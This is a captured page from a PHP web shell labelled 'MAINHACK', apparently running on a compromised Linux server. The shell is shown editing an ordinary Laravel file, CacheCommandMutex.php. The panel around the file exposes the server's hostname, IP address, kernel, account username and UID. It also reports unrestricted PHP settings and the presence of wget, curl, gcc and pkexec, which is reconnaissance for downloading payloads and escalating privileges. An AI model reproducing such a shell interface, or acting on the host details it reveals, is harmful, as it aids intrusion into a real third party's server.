[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: CacheCommandMutex.php
<?php namespace Illuminate\Console; use Carbon\CarbonInterval; use Illuminate\Cache\DynamoDbStore; use Illuminate\Contracts\Cache\Factory as Cache; use Illuminate\Contracts\Cache\LockProvider; use Illuminate\Support\InteractsWithTime; class CacheCommandMutex implements CommandMutex { use InteractsWithTime; /** * The cache factory implementation. * * @var \Illuminate\Contracts\Cache\Factory */ public $cache; /** * The cache store that should be used. * * @var string|null */ public $store = null; /** * Create a new command mutex. * * @param \Illuminate\Contracts\Cache\Factory $cache */ public function __construct(Cache $cache) { $this->cache = $cache; } /** * Attempt to obtain a command mutex for the given command. * * @param \Illuminate\Console\Command $command * @return bool */ public function create($command) { $store = $this->cache->store($this->store); $expiresAt = method_exists($command, 'isolationLockExpiresAt') ? $command->isolationLockExpiresAt() : CarbonInterval::hour(); if ($this->shouldUseLocks($store->getStore())) { return $store->getStore()->lock( $this->commandMutexName($command), $this->secondsUntil($expiresAt) )->get(); } return $store->add($this->commandMutexName($command), true, $expiresAt); } /** * Determine if a command mutex exists for the given command. * * @param \Illuminate\Console\Command $command * @return bool */ public function exists($command) { $store = $this->cache->store($this->store); if ($this->shouldUseLocks($store->getStore())) { $lock = $store->getStore()->lock($this->commandMutexName($command)); return tap(! $lock->get(), function ($exists) use ($lock) { if ($exists) { $lock->release(); } }); } return $this->cache->store($this->store)->has($this->commandMutexName($command)); } /** * Release the mutex for the given command. * * @param \Illuminate\Console\Command $command * @return bool */ public function forget($command) { $store = $this->cache->store($this->store); if ($this->shouldUseLocks($store->getStore())) { return $store->getStore()->lock($this->commandMutexName($command))->forceRelease(); } return $this->cache->store($this->store)->forget($this->commandMutexName($command)); } /** * Get the isolatable command mutex name. * * @param \Illuminate\Console\Command $command * @return string */ protected function commandMutexName($command) { $baseName = 'framework'.DIRECTORY_SEPARATOR.'command-'.$command->getName(); return method_exists($command, 'isolatableId') ? $baseName.'-'.$command->isolatableId() : $baseName; } /** * Specify the cache store that should be used. * * @param string|null $store * @return $this */ public function useStore($store) { $this->store = $store; return $this; } /** * Determine if the given store should use locks for command mutexes. * * @param \Illuminate\Contracts\Cache\Store $store * @return bool */ protected function shouldUseLocks($store) { return $store instanceof LockProvider && ! $store instanceof DynamoDbStore; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.69 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002